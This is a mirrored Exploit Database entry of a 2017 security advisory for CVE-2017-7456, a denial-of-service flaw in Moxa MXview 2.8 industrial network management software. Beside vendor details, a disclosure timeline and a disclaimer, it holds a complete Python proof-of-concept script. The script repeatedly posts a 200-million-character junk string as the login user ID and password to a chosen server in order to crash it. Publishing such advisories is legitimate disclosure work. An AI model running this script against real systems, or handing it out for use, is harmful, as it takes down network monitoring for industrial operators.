Moxa MXview 2.8 – Denial of Service

• Exploit Database
• 12 阅读

• 作者： hyp3rlinx
  日期： 2017-04-10
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/41851/

• [+] Credits: John Page AKA hyp3rlinx	
  [+] Website: hyp3rlinx.altervista.org
  [+] Source:http://hyp3rlinx.altervista.org/advisories/MOXA-MXVIEW-v2.8-DENIAL-OF-SERVICE.txt
  [+] ISR: ApparitionSec
   
  
  
  Vendor:
  ============
  www.moxa.com
  
  
  
  Product:
  ===========
  MXView v2.8
  
  Download:
  http://www.moxa.com/product/MXstudio.htm
  
  MXview Industrial Network Management Software.
  
  Auto discovery of network devices and physical connections
  Event playback for quick troubleshooting
  Color-coded VLAN/IGMP groups and other visualized network data
  Supports MXview ToGo mobile app for remote monitoring and notification—anytime, anywhere.
  
  
  
  Vulnerability Type:
  ===================
  Denial Of Service
  
  
  
  CVE Reference:
  ==============
  CVE-2017-7456
  
  
  
  Security Issue:
  ================
  Remote attackers can DOS MXView server by sending large string of junk characters for the user ID and password field login credentials.
  
  
  
  Exploit/POC:
  =============
  import urllib,urllib2
  
  print 'Moxa MXview v2.8 web interface DOS'
  print 'hyp3rlinx'
  
  IP=raw_input("[Moxa MXView IP]>")
  
  PAYLOAD="A"*200000000
  
  url = 'http://'+IP+'/goform/account'
  data = urllib.urlencode({'uid' :PAYLOAD, 'pwd' : PAYLOAD, 'action' : 'login'})
  
  while 1:
  req = urllib2.Request(url, data)
  res = urllib2.urlopen(req)
  print res
  
  
  
  Network Access:
  ===============
  Remote
  
  
  
  Severity:
  =========
  Medium
  
  
  
  Disclosure Timeline:
  ==========================================================
  Vendor Notification:March 5, 2017
  Vendor confirms vulnerability : March 21, 2017
  Vendor "updated firmware April 7, 2017" : March 29, 2017
  April 9, 2017 : Public Disclosure
  
  
  
  [+] Disclaimer
  The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
  Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
  that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
  is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
  for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
  or exploits by the author or elsewhere. All content (c).